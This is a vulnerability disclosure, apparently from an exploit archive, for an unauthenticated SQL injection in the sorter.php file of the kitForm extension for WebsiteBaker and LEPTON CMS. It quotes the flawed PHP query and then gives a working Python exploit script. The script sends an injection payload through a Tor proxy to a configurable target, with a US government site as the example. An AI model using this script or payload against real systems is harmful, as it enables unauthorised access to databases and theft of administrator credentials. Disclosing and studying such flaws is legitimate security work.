* Version: <= 0.43 (2013-11-22)  
* Date: 2014-04-20

1. Vendor Description:  
  
kitForm is an extension for the Customer Relationship Management (CRM)  
KeepInTouch and the Content Management Systems WebsiteBaker or LEPTON  
CMS. It enables the easy creation of forms and dialogs for the CMS and  
the CRM.  
  
2. Vulnerability  
  
A SQL injection error within the sorter.php file can be exploited by  
unauthenticated people to conduct SQL injection attacks. The file does  
not sanitize the "sorter_value" parameter before using the value in a  
SQL query.  
  
A successful exploit can extract database content and e.g.  
administrative credentials (password hash).  
  
22. $sorter_table = $_POST['sorter_table'];  
23. switch ($sorter_table):  
24. case 'mod_kit_form':  
25. // Frageboegen sortieren  
26. $rowIDs = implode(',', $_POST['rowID']);  
27. $sorter_value = $_POST['sorter_value'];  
28. $SQL = sprintf( "UPDATE %smod_kit_form_table_sort  
SET sort_order='%s' WHERE sort_table='%s'  
AND sort_value='%s'",  
29. TABLE_PREFIX, $rowIDs, $sorter_table, $sorter_value);  
30. $database->query($SQL);  
  
3. Exploit  
  
1. import httplib2, socks, urllib  
2.  
3. ### Change these values ###  
4. target = "http://fbi.gov"  
5. SQLi = "or 1=1 #"  
6. tor_http_proxy = 8118  
7.  
8. httplib2.debuglevel=4  
9.  
10. headers = {  
11. 'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1;  
zh-CN; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4',  
12. 'Content-Type': 'application/x-www-form-urlencoded'  
13. }  
14. h = httplib2.Http(proxy_info = httplib2.ProxyInfo(  
socks.PROXY_TYPE_HTTP, '127.0.0.1', tor_http_proxy, timeout=30)  
15.  
16. data = dict(  
17. rowID = "1",  
18. sorter_table = "mod_kit_form",  
19. sorter_value = "AAAA' %s" % SQLi # <-- injection  
20. )  
21.  
22. resp, content = h.request(  
"%s" % target, "POST", urllib.urlencode(data), headers=headers)  
23  
24 print resp  
25 print content
